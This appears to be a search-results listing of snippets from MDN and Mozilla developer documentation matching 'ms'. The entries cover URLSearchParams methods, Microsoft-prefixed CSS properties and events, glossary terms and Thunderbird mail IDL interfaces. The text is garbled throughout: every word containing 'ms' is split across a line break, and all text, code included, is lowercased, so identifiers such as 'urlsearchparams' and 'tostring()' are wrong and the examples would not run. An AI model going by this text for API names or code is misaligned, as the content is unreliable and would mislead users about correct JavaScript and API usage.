URLSearchParams.has() - Web APIs
the has() method of the urlsearchpara
ms interface returns a boolean that indicates whether a parameter with the specified name exists.
... syntax var hasname = urlsearchpara
ms.has(name) parameters name the name of the parameter to find.
... examples let url = new url('https://example.com?foo=1&bar=2'); let para
ms = new urlsearchpara
ms(url.search.slice(1)); para
ms.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
URLSearchParams.keys() - Web APIs
the keys() method of the urlsearchpara
ms interface returns an iterator allowing iteration through all keys contained in this object.
... syntax searchpara
ms.keys(); parameters none.
... examples // create a test urlsearchpara
ms object var searchpara
ms = new urlsearchpara
ms("key1=value1&key2=value2"); // display the keys for(var key of searchpara
ms.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
the urlsearchpara
ms.sort() method sorts all key/value pairs contained in this object in place and returns undefined.
... syntax searchpara
ms.sort(); parameters none.
... examples // create a test urlsearchpara
ms object var searchpara
ms = new urlsearchpara
ms("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchpara
ms.sort(); // display the sorted query string console.log(searchpara
ms.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
URLSearchParams.values() - Web APIs
the values() method of the urlsearchpara
ms interface returns an iterator allowing iteration through all values contained in this object.
... syntax searchpara
ms.values(); parameters none.
... examples // create a test urlsearchpara
ms object var searchpara
ms = new urlsearchpara
ms("key1=value1&key2=value2"); // display the values for(var value of searchpara
ms.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
msCachingEnabled - Web APIs
the
mscachingenabled method gets the current caching state for an xmlhttprequest.
... syntax var cachestate = xmlhttprequest.
mscachingenabled(); parameters cachestate[out, retval] type = boolean.
... see also
mscaching property microsoft api extensions ...
msCapsLockWarningOff - Web APIs
the
mscapslockwarningoff read/write property turns automatic caps lock warning on or off for validated password input fields.
... syntax document.
mscapslockwarningoff = true; value type: boolean false: default.
... example fiddle: http://jsfiddle.net/jonathansampson/mqcha/1/ example 2 <html> <head> <title>
mscapslockwarningoff example</title> <script type="text/javascript"> function capsoff() { if (document.
mscapslockwarningoff == false) { document.
mscapslockwarningoff = true; document.getelementbyid("caps").innerhtml = "warning off"; } else { document.
mscapslockwarningoff = false; document.getelementbyid("caps").innerhtml = "warning on"; } } </script> </head> <body> <label>type a password: <input type="password" /></label><br /> <button id="caps" onclick="capsoff();">warnin...
msRegionOverflow - Web APIs
the
msregionoverflow read-only property determines if content fully fits into the region or not.
... syntax string = object.
msregionoverflow values type:do
mstring overflow: the region element's content overflows the region's content box.
... when the region is an actual element,
msregionoverflow provides the ability to find out if content fully fits into the region or not.
mssitemodejumplistitemremoved - Web APIs
the
mssitemodejumplistitemremoved event occurs when
mssitemodeshowjumplist is called and an item has been removed from a jump list by the user.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("
mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this event is raised once for every item that has been removed since the last time
mssitemodeshowjumplist was called.
... this event is not triggered if
mssitemodeclearjumplist has been called.
x-ms-aria-flowfrom - Accessibility
the x-
ms-aria-flowfrom property specifies the id of the previous element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order.
... syntax x-
ms-aria-flowfrom="elementid"; value the x-
ms-aria-flowfrom property value uses an id selector to define which previous element the reading order will flow from.
... example <div tabindex="0" class="foo" id="element2" role="option" aria-posinset="1" aria-setsize="15" aria-flowto="element8" x-
ms-aria-flowfrom="element5"> see also aria relationship attributes microsoft api extensions ...
x-ms-acceleratorkey - HTML: Hypertext Markup Language
the x-
ms-acceleratorkey attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated via javascript when the key(s) are pressed on a keyboard.
... x-
ms-acceleratorkey exposes a notification in the accessibility tree, for screen readers and other assistive technologies, that an accelerator key exists for that element.
... syntax <button x-
ms-acceleratorkey="[explanation of key combination]">…</button> value the accelerator key combination.
DOMSubtreeModified - Archive of obsolete content
this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and do
msubtreemodified events are no longer fired when style attribute is changed via cssom for example).
... document.body.addeventlistener('do
msubtreemodified', function () { document.title = 'dom changed at ' + new date(); }, false); ...
toggleItemSelection - Archive of obsolete content
« xul reference home toggleite
mselection( item ) return type: no return value if the specified item is selected, it is deselected.
...other ite
ms in the list box that are selected are not affected, and retain their selected state.
symsrv_convert - Archive of obsolete content
make sure you have a sy
msrv.dll and sy
msrv.yes in the directory where sy
msrv_convert is looking.
... for me this was c:/windows/syswow64/ ./sy
msrv_convert.exe http://
msdl.microsoft.com/download/symbols /c/symcachet d3d10_1.pdb 64bce4f6b72340f19c453569a3f4a13b1 to build sy
msrv_convert you'll need to use google-breakpad/src/tools/windows/converter ...
-ms-content-zoom-chaining - Archive of obsolete content
the -
ms-content-zoom-chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation.
...for information on zoomable elements, see -
ms-content-zooming.
-ms-high-contrast-adjust - Archive of obsolete content
the -
ms-high-contrast-adjust css property is a microsoft extension that gets or sets a value indicating whether to override any css properties that would have been set in high contrast mode.
... remarks the -
ms-high-contrast-adjust property works with the -
ms-high-contrast media feature.
-ms-hyphenate-limit-zone - Archive of obsolete content
the -
ms-hyphenate-limit-zone css property is a microsoft extension specifying the width of the hyphenation zone.
... remarks the -
ms-hyphenate-limit-zone property enables you to control the amount of trailing whitespace permitted during hyphenation.
-ms-scroll-limit-x-max - Archive of obsolete content
the -
ms-scroll-limit-x-max css property is a microsoft extension that specifies the maximum value for the element.scrollleft property.
... the specified behavior of the -
ms-scroll-limit-x-max property is only applicable at a
mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-limit-x-min - Archive of obsolete content
the -
ms-scroll-limit-x-min css property is a microsoft extension that specifies the minimum value for the element.scrollleft property.
... the specified behavior of the -
ms-scroll-limit-x-min property is only applicable at a
mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-limit-y-max - Archive of obsolete content
the -
ms-scroll-limit-y-max css property is a microsoft extension that specifies the maximum value for the element.scrolltop property.
... the specified behavior of the -
ms-scroll-limit-y-max property is only applicable at a
mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-limit-y-min - Archive of obsolete content
the -
ms-scroll-limit-y-min css property is a microsoft extension that specifies the minimum value for the element.scrolltop property.
... the specified behavior of the -
ms-scroll-limit-y-min property is only applicable at a
mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-translation - Archive of obsolete content
the -
ms-scroll-translation css property is a microsoft extension that specifies whether vertical-to-horizontal scroll wheel translation occurs on the specified element.
...by setting the -
ms-scroll-translation property to vertical-to-horizontal, you are specifying that vertical scroll events should be interpreted as their corresponding horizontal scroll events.
-ms-scrollbar-arrow-color - Archive of obsolete content
the -
ms-scrollbar-arrow-color css property is a microsoft extension that specifies the color of the arrow elements of a scroll arrow.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples the following example shows how to use -
ms-scrollbar-arrow-color and -
ms-scrollbar-face-color to display a scroll bar with a blue scroll box and arrows, and a scroll bar with a green scroll box and arrows.
-ms-scrollbar-base-color - Archive of obsolete content
the -
ms-scrollbar-base-color css property is a microsoft extension that specifies the base color of the main elements of a scroll bar.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -
ms-scrollbar-base-color and -
ms-scrollbar-arrow-color to create two <div> objects with different scroll bar color schemes.
-ms-scrollbar-face-color - Archive of obsolete content
the -
ms-scrollbar-face-color css property is a microsoft extension that specifies the color of the scroll box and scroll arrows of a scroll bar.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -
ms-scrollbar-face-color and -
ms-scrollbar-arrow-color to display a scroll bar with a blue scroll box and arrows, and a scroll bar with a green scroll box and arrows.
-ms-scrollbar-shadow-color - Archive of obsolete content
the -
ms-scrollbar-shadow-color css property is a microsoft extension that specifies the color of the bottom and right edges of the scroll box and scroll arrows of a scroll bar.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples the following example shows how to create a style rule that sets the -
ms-scrollbar-shadow-color property for a <textarea> element.
-ms-wrap-margin - Archive of obsolete content
the -
ms-wrap-margin css property is a microsoft extension that specifies a margin that offsets the inner wrap shape from other shapes.
... remarks offsets created by the -
ms-wrap-margin property are offset from the outside of the exclusion.
-ms-wrap-through - Archive of obsolete content
the -
ms-wrap-through css property is a microsoft extension that specifies how content should wrap around an exclusion element.
... remarks you can use the -
ms-wrap-through property to control the effect of exclusions; for instance, to cause one content block to wrap around an exclusion element and another to intersect the same exclusion element.
XForms Upload Element - Archive of obsolete content
the xfor
ms author can set the filter by using the mediatype attribute directly on the upload element or by placing a mediatype element (see the spec) as a direct child of the upload element.
... representations the xfor
ms upload element is represented by visually combining three widgets: a text field that shows the uri of the selected file, a button to open the file picker dialog which allows the user to select a file, and a button to clear the text field and the reference to the file from the bound node (xhtml only).
Cross Axis - MDN Web Docs Glossary: Definitions of Web-related terms
alignment of ite
ms on the cross axis is achieved with the align-ite
ms property on the flex container or align-self property on individual ite
ms.
... learn more property reference align-content align-ite
ms align-self flex-wrap flex-direction flex further reading css flexbox guide: basic concepts of flexbox css flexbox guide: aligning ite
ms in a flex container css flexbox guide: mastering wrapping of flex ite
ms ...
Flex - MDN Web Docs Glossary: Definitions of Web-related terms
the ite
ms then participate in flex layout, and all of the properties defined in the css flexible box layout module may be applied.
... learn more property reference align-content align-ite
ms align-self flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap justify-content order further reading css flexible box layout module level 1 specification css flexbox guide: basic concepts of flexbox css flexbox guide: relationship of flexbox to other layout methods css flexbox guide: aligning ite
ms in a flex container css flexbox guide: ordering flex ite
ms css flexbox guide: controlling ratios of flex ite
ms along the main axis css flexbox guide: mastering wrapping of flex ite
ms css flexbox guide: typical use cases of ...
Flex Container - MDN Web Docs Glossary: Definitions of Web-related terms
these values create a flex formatting context for the element, which is similar to a block formatting context in that floats will not intrude into the container, and the margins on the container will not collapse with those of the ite
ms.
... learn more property reference align-content align-ite
ms flex flex-direction flex-flow flex-wrap justify-content further reading css flexbox guide: basic concepts of flexbox css flexbox guide: aligning ite
ms in a flex container css flexbox guide: mastering wrapping of flex ite
ms ...
Git - MDN Web Docs Glossary: Definitions of Web-related terms
it facilitates handling code bases with distributed development tea
ms.
... what sets it apart from previous scm syste
ms is the ability to do common operations (branching, committing, etc.) on your local development machine, without having to change the master repository or even having write access to it.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
if you place content outside of this explicit grid, or if you are relying on auto-placement and the grid algorithm needs to create additional row or column tracks to hold grid ite
ms, then extra tracks will be created in the implicit grid.
...the third row on the grid is an implicit grid row track, formed due to their being more than the six ite
ms which fill the explicit tracks.
Grid container - MDN Web Docs Glossary: Definitions of Web-related terms
using the value grid or inline-grid on an element turns it into a grid container using css grid layout, and any direct children of this element become grid ite
ms.
...the direct children can now lay the
mselves out on any explicit grid defined using grid-template-columns and grid-template-rows, or on the implicit grid created when an item is placed outside of the explicit grid.
Java - MDN Web Docs Glossary: Definitions of Web-related terms
progra
ms are compiled only once ahead of time into a proprietary byte code and package format that runs inside the java virtual machine (jvm).
... the jvm is available across many platfor
ms, which allows java progra
ms to run almost everywhere without the need to be compiled or packaged again.
Modem - MDN Web Docs Glossary: Definitions of Web-related terms
different kinds are used for different networks: dsl mode
ms for telephone wires, wifi mode
ms for short-range wireless radio signals, 3g mode
ms for cellular data towers, and so on.
... mode
ms are different from routers, but many companies sell mode
ms combined with routers.
REST - MDN Web Docs Glossary: Definitions of Web-related terms
rest(representational state transfer) refers to a group of software architecture design constraints that bring about efficient, reliable and scalable distributed syste
ms.
...a document, is transferred with its state and relationships via well-defined, standarized operations and formats or services call the
mselves restful when they directly modify type of document as opposed to triggering actions somewhere.
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
$ ping example.com ping example.com (216.58.194.174): 56 data bytes 64 bytes from 216.58.194.174: icmp_seq=0 ttl=55 time=25.050
ms 64 bytes from 216.58.194.174: icmp_seq=1 ttl=55 time=23.781
ms 64 bytes from 216.58.194.174: icmp_seq=2 ttl=55 time=24.287
ms 64 bytes from 216.58.194.174: icmp_seq=3 ttl=55 time=34.904
ms 64 bytes from 216.58.194.174: icmp_seq=4 ttl=55 time=26.119
ms --- google.com ping statistics --- 5 packets transmitted, 5 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 23.781/26.828/34.904...
.../4.114
ms in the above example, the average round trip time is shown on the final line as 26.8
ms.
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
unicode is a standard character set that numbers and defines characters from the world's different languages, writing syste
ms, and symbols.
...if it was not clearly marked which parts of the data were in which character set, other progra
ms and computers would display the text incorrectly, or damage it during processing.
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
web standards also must evolve to improve the current status and adapt to new circu
mstances.
... this non-exhaustive list gives you an idea of which standards websites and network syste
ms must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbers authority): name and number registries ecma intl.: scripting standards, most prominently for javascript iso (international organization for standardization): standards governing a diverse array of aspects, including character encodings, website management, and user-interface design learn more general knowledge web standards on wikipedia ...
MathML Demo: <msqrt>, <mroot> - radicals
mathml has two root objects, an <
msqrt> x and an <mroot> x 3 .
...displays mathml has two root objects, an <
msqrt> x and an <mroot> x 3 these are pretty simple.
Debugging out-of-memory problems
a common bug to diagnose with e
mscripten is where a big game fails due to an out of memory error (oom) somewhere during load time.
...this article explains how to debug such proble
ms.
PR_ImportFileMapFromString
syntax #include <prshma.h> nspr_api( prfilemap * ) pr_importfilemapfro
mstring( const char *f
mstring ); parameter the function has the following parameter: f
mstring a pointer to string created by pr_exportfilemapasstring.
... description pr_importfilemapfro
mstring creates a prfilemap object from a string previously created by pr_exportfilemapasstring.
mozIStorageStatementParams
for example, say you create a statement like so: var statement = dbconn.createstatement("select * from table_name where id = :item_id"); this object would have one property, item_id, that you can use to bind a value to that named parameter like so: statement.para
ms.item_id = 2; for more details on why you should bind parameters as opposed to hard-coding them into your statement, please see the overview document about binding parameters.
...for (let param in statement.para
ms) statement.para
ms[param] = valuestobind[param]; ...
nsIDOMSerializer
content/base/public/nsido
mserializer.idlscriptable this interface is really a placeholder till the w3c dom working group defines a mechanism for serializing dom nodes.
...to create an instance, use: var do
mserializer = components.classes["@mozilla.org/xmlextras/xmlserializer;1"] .createinstance(components.interfaces.nsido
mserializer); method overview void serializetostream(in nsidomnode root, in nsioutputstream stream, in autf8string charset); astring serializetostring(in nsidomnode root); methods serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified.
nsIFileStreams
the nsifilestrea
ms interface is an input stream that allows you to read from a file.
... netwerk/base/public/nsifilestrea
ms.idlscriptable please add a summary to this article.
nsIMsgHeaderParser
nsi
msgheaderparser defined in comm-central/ mailnews/ mime/ public/ nsi
msgheaderparser.idl mailnews/mime/public/nsi
msgheaderparser.idlscriptable ???
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to create an instance, use: var
msgheaderparser = components.classes["@mozilla.org/messenger/headerparser;1"] .createinstance(components.interfaces.nsi
msgheaderparser); method overview string extractheaderaddressmailboxes(in string line); void extractheaderaddressname(in string line, out string name); void extractheaderaddressnames(in string line, out string usernames); astring makefulladdress(in astring aname, in astring aaddress); string makefulladdressstring(in string aname, in string aaddress); wstring makefulladdresswstring(in wstring name, in wstring addr); obsolete since gecko 1.9 void pa...
nsIMsgSearchNotify
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsi
msgsearchnotify : nsisupports { void onsearchhit(in nsi
msgdbhdr header, in nsi
msgfolder folder); // notification that a search has finished.
... void onsearchdone(in nsresult status); /* * until we can encode searches with a uri, this will be an * out-of-bound way to connect a set of search ter
ms to a datasource */ /* * called when a new search begins */ void onnewsearch(); }; ...
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgsearchvalue.idl #include "ns
msgsearchcore.idl" interface nsi
msgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsi
msgsearchvalue : nsisupports { // type of object attribute ns
msgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
... attribute astring str; attribute ns
msgpriorityvalue priority; attribute prtime date; // see ns
msgmessageflags.idl and ns
msgfolderflags.idl attribute unsigned long status; attribute unsigned long size; attribute ns
msgkey
msgkey; attribute long age; // in days attribute nsi
msgfolder folder; attribute ns
msglabelvalue label; attribute ns
msgjunkstatus junkstatus; /* * junkpercent is set by the message filter plugin, and is approximately * proportional to the probability that a message is junk.
nsMsgSearchScope
defined in comm-central/ mailnews/ base/ search/ public/ ns
msgsearchcore.idl [scriptable, uuid(6e893e59-af98-4f62-a326-0f00f32147cd)] interface ns
msgsearchscope { const ns
msgsearchscopevalue offlinemail = 0; const ns
msgsearchscopevalue offlinemailfilter = 1; const ns
msgsearchscopevalue onlinemail = 2; const ns
msgsearchscopevalue onlinemailfilter = 3; /// offline news, base table, no body or junk const ns
msgsearchscopevalue localnews = 4; const ns
msgsearchscopevalue news = 5; const ns
msgsearchscopevalue newsex = 6; const ns
msgsearchscopevalue ldap = 7; const ns
msgsearchscopevalue localab = 8; const ns
msgsearchscopevalue allsearchablegroups = 9; const ns
msgsearchscopevalue newsfilter = 10; const ns
msgsearchscopevalue localaband = 11; const ns
msgsearchscope...
...value ldapand = 12; // imap and news, searched using local headers const ns
msgsearchscopevalue onlinemanual = 13; /// local news + junk const ns
msgsearchscopevalue localnewsjunk = 14; /// local news + body const ns
msgsearchscopevalue localnewsbody = 15; /// local news + junk + body const ns
msgsearchscopevalue localnewsjunkbody = 16; }; ...
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ search/ public/ ns
msgsearchcore.idl use this to specify the value of a search term [ptr] native ns
msgsearchterm(ns
msgsearchterm); // please note the !
...%{c++ #define is_string_attribute(_a) \ (!(_a == ns
msgsearchattrib::priority || _a == ns
msgsearchattrib::date || \ _a == ns
msgsearchattrib::
msgstatus || _a == ns
msgsearchattrib::messagekey || \ _a == ns
msgsearchattrib::size || _a == ns
msgsearchattrib::ageindays || \ _a == ns
msgsearchattrib::folderinfo || _a == ns
msgsearchattrib::location || \ _a == ns
msgsearchattrib::label || _a == ns
msgsearchattrib::junkstatus || \ _a == ns
msgsearchattrib::folderflag || _a == ns
msgsearchattrib::uint32hdrproperty || \ _a == ns
msgsearchattrib::junkpercent || _a == ns
msgsearchattrib::hasattachmentstatus)) %} ...
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgsearchvalue.idl #include "ns
msgsearchcore.idl" interface nsi
msgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsi
msgsearchvalue : nsisupports { // type of object attribute ns
msgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
... attribute astring str; attribute ns
msgpriorityvalue priority; attribute prtime date; // see ns
msgmessageflags.idl and ns
msgfolderflags.idl attribute unsigned long status; attribute unsigned long size; attribute ns
msgkey
msgkey; attribute long age; // in days attribute nsi
msgfolder folder; attribute ns
msglabelvalue label; attribute ns
msgjunkstatus junkstatus; /* * junkpercent is set by the message filter plugin, and is approximately * proportional to the probability that a message is junk.
nsMsgMessageFlags
the ns
msgmessageflags interface describes possible flags for messages.
... equivalent flags are also defined in ns
msgmessageflags.h.
nsMsgViewCommandCheckState
the ns
msgviewcommandcheckstate interface contains constants used for command status in thunderbird.
... mailnews/base/public/nsi
msgdbview.idlscriptable please add a summary to this article.
nsMsgViewFlagsType
the ns
msgviewflagstype interface contains constants used for view flags in thunderbird.
...for example, the 'unread only' view would use the flag: components.interfaces.ns
msgviewflagstype.kunreadonly constants name value description knone 0x0 kthreadeddisplay 0x1 kshowignored 0x8 kunreadonly 0x10 kexpandall 0x20 kgroupbysort 0x40 ...
nsMsgViewSortOrder
the ns
msgviewsortorder interface contains constants used for sort direction in thunderbird.
...for example to sort by date you would pass a function the value: components.interfaces.ns
msgviewsortorder.ascending mailnews/base/public/nsi
msgdbview.idlscriptable please add a summary to this article.
nsMsgViewSortType
the ns
msgviewsorttype interface contains constants used for sorting the thunderbird threadpane.
...for example to sort by date you would pass a function the value: components.interfaces.ns
msgviewsorttype.bydate mailnews/base/public/nsi
msgdbview.idlscriptable please add a summary to this article.
nsMsgViewType
the ns
msgviewtype interface contains constants used for views in thunderbird.
...for example, to request the 'show all threads' view use the constant: components.interfaces.ns
msgviewtype.eshowallthreads constants name value description eshowallthreads 0 eshowthreadswithunread 2 eshowwatchedthreadswithunread 3 eshowquicksearchresults 4 eshowvirtualfolderresults 5 eshowsearch 6 ...
Sorting algorithms comparison - Firefox Developer Tools
this program compares the performance of three different sorting algorith
ms: bubble sort selection sort quicksort it consists of the following functions: sortall() top-level function.
... its call graph looks like this: sortall() // (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorith
ms in the program are taken from https://github.com/nzakas/computer-science-in-javascript/ and are used under the mit license.
DOMStringMap - Web APIs
the do
mstringmap interface is used for the htmlelement.dataset attribute, to represent data for custom attributes added to elements.
... specifications specification status comment html living standardthe definition of 'do
mstringmap' in that specification.
Element: MSGestureChange event - Web APIs
the
msgesturechange event is fired when touch contact positions move and also while inertia-based movements are being processed.
... bubbles unknown cancelable unknown interface
msgestureevent event handler property unknown specifications not part of any specification.
Element: MSGestureEnd event - Web APIs
the
msgestureend event is fired when all associated touch points have stopped contacting the touch surface, and any associated inertial movements have ended; thus ending the gesture.
... bubbles unknown cancelable unknown interface
msgestureevent event handler property unknown specifications not part of any specification.
Element: MSGestureTap event - Web APIs
the
msgesturetap event is fired when the user "taps" the pointing device (e.g., touches the touch surface with their finger, taps the touch surface with a pen device, clicks with a mouse).
... bubbles unknown cancelable unknown interface
msgestureevent event handler property unknown specifications not part of any specification.
Element: MSInertiaStart event - Web APIs
the
msinertiastart event is fired when contact with the touch surface stops when a scroll has enough inertia to continue scrolling.
... bubbles unknown cancelable unknown interface
msgestureevent event handler property unknown specifications not part of any specification.
HTMLMediaElement.msInsertAudioEffect() - Web APIs
the htmlmediaelement.
msinsertaudioeffect() method inserts the specified audio effect into the media pipeline.
... syntax htmlmediaelement.
msinsertaudioeffect(activatableclassid: do
mstring, effectrequired: boolean, config); parameters activatableclassid a do
mstring defining the audio effects class.
HTMLVideoElement.msFrameStep() - Web APIs
the htmlvideoelement.
msframestep() method steps the video by one frame forward or one frame backward.
... syntax htmlvideoelement.
msframestep(forward); parameters forward a boolean which if set to true steps the video forward by one frame, if false steps the video backwards by one frame.
HTMLVideoElement.msIsStereo3D - Web APIs
msisstereo3d is a read-only property which determines whether the system considers the loaded video source to be stereo 3-d or not.
... syntax htmlvideoelement.
msisstereo3d: boolean; value boolean value set to true indicates that the video source is stereo 3d.
msStereo3DPackingMode - Web APIs
msstereo3dpackingmode is a read/write property which gets or sets the frame-packing mode for stereo 3-d video content.
... syntax htmlvideoelement.
msstereo3dpackingmode(topbottom, sidebyside, none); value the following values return, or set, the stereo 3-d content packing as "topbottom", "sidebyside", or "none" for regular 2-d video.
msStereo3DRenderMode - Web APIs
msstereo3drendermode is a read/write property which gets or sets whether the system display is set to stereo display (if stereo-capable).
... syntax htmlvideoelement.
msstereo3drendermode(mono, stereo); value the following values set the stereo display to mono or stereo.
onMSVideoFormatChanged - Web APIs
on
msvideoformatchanged is an event which occurs when the video format changes.
... syntax value description event property object.on
msvideoformatchanged = handler; attachevent method object.attachevent("on
msvideoformatchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoFrameStepCompleted - Web APIs
on
msvideoframestepcompleted is an event which occurs when the video frame has been stepped forward or backward one frame.
... syntax value description event property object.on
msvideoframestepcompleted = handler; attachevent method object.attachevent("on
msvideoframestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoOptimalLayoutChanged - Web APIs
on
msvideooptimallayoutchanged is an event which occurs when the
msislayoutoptimalforplayback state changes.
... syntax value description event property object.on
msvideooptimallayoutchanged = handler; attachevent method object.attachevent("on
msvideooptimallayoutchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) synchronous no bubbles no cancelable no see also
msislayoutoptimalforplayback htmlvideoelement microsoft api extensions ...
MSCandidateWindowHide - Web APIs
mscandidatewindowhide fires after the input method editor (ime) candidate window closes and is fully hidden.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("
mscandidatewindowhide", handler, usecapture) nbsp; parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
MSCandidateWindowUpdate - Web APIs
mscandidatewindowupdate fires after the input method editor (ime) candidate window has been identified as needing to change size, but before any visual updates have rendered.
... syntax event property object.oncandidatewindowupdate = handler; addeventlistener method object.addeventlistener("
mscandidatewindowupdate", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
MSRangeCollection - Web APIs
the
msrangecollection object is an array of one or more range objects.
... remarks the
msrangecollection object does not inherit from any class or interface and does not define any members.
msIsBoxed - Web APIs
msisboxed is a property which gets or sets when the video player control is in boxed (letterbox or pillarbox) mode.
... syntax isboxed = object.
msisboxed value boolean value set to true activates boxed mode for the video player.
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
the rtcremoteoutboundrtpstrea
mstats dictionary's reportssent property provides the number of sender reports (srs) the remote peer has transmitted to the local peer.
... syntax let reportcount = rtcremoteoutboundrtpstrea
mstats.reportssent; value an integer value which indicates the total number of rtcp sender reports so far sent by the remote peer to the local peer.
msManipulationViewsEnabled - Web APIs
the
msmanipulationviewsenabled read-only property returns true if manipulation features are support available, such as touch panning and zooming using css rules.
... example using a json file: {
msmanipulationviewsenabled: true, } see also touch api microsoft api extensions ...
msGetPropertyEnabled - Web APIs
the
msgetpropertyenabled returns whether a given property in the style object is enabled.
... syntax var retval = style.
msgetpropertyenabled(name); parameters name [in] type: string the name of the property to enable.
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
der: 2px solid #ffa94d; border-radius: 5px; background-color: #fff8f8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> in ter
ms of grid sizing, gaps act as if they were a regular grid track however nothing can be placed into the gap.
LGPL - MDN Web Docs Glossary: Definitions of Web-related terms
while any derivative work using a gpl-licensed program must be released under the same ter
ms (free to use, share, study, and modify), the lgpl only requires the lgpl-licensed component of the derivative program to continue using the lgpl, not the whole program.
Latency - MDN Web Docs Glossary: Definitions of Web-related terms
latency can be a factor in any kind of data flow, but is most commonly discussed in ter
ms of network latency (the time it takes for a packet of data to travel from source to destination) and media codec latency (the time it takes for the source data to be encoded or decoded and reach the consumer of the resulting data).
Localization - MDN Web Docs Glossary: Definitions of Web-related terms
the following are common factors to consider: language unit of measure (e.g., kilometers in europe, miles in u.s.) text direction (e.g., european languages are left-to-right, arabic right-to-left) capitalization in latin script (e.g., english uses capitals for weekdays, spanish uses lowercase) adaptation of idio
ms (e.g., "raining cats and dogs" makes no sense when translated literally) use of register (e.g., in japanese respectful speech differs exceptionally from casual speech) number format (e.g., 10 000,00 in germany vs.
Debugging update problems
useful preferences enabling the following preferences in about:config can help troubleshoot proble
ms with updates: app.update.log - for application updates; extensions.logging.enabled - for add-on updates.
Programs Using NSPR
the following progra
ms are known to use nspr, or portions of it: gecko using progra
ms (mozilla application suite, firefox, thunderbird, camino, etc.) many fedora/red hat and sun server applications.
PR_MSEC_PER_SEC
syntax #include <prtime.h> #define pr_
msec_per_sec 1000ul ...
PR_NSEC_PER_MSEC
syntax #include <prtime.h> #define pr_nsec_per_
msec 1000000ul ...
nsIMsgSearchScopeTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgsearchscopeterm.idl [scriptable, uuid(934672c3-9b8f-488a-935d-87b4023fa0be)] interface nsi
msgsearchscopeterm : nsisupports { nsiinputstream getinputstream(in nsi
msgdbhdr ahdr); void closeinputstream(); readonly attribute nsi
msgfolder folder; readonly attribute nsi
msgsearchsession searchsession; }; ...
nsMsgFilterFileAttribValue
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgfilterlist.idl const ns
msgfilterfileattribvalue attribnone = 0; const ns
msgfilterfileattribvalue attribversion = 1; const ns
msgfilterfileattribvalue attriblogging = 2; const ns
msgfilterfileattribvalue attribname = 3; const ns
msgfilterfileattribvalue attribenabled = 4; const ns
msgfilterfileattribvalue attribdescription = 5; const ns
msgfilterfileattribvalue attribtype = 6; const ns
msgfilterfileattribvalue attribscriptfile = 7; const ns
msgfilterfileattribvalue attribaction = 8; const ns
msgfilterfileattribvalue attribactionvalue = 9; const ns
msgfilterfileattribvalue attribcondition = 10; const ns
msgfilterfileattribvalue attribcustomid = 11; ...
nsMsgJunkStatus
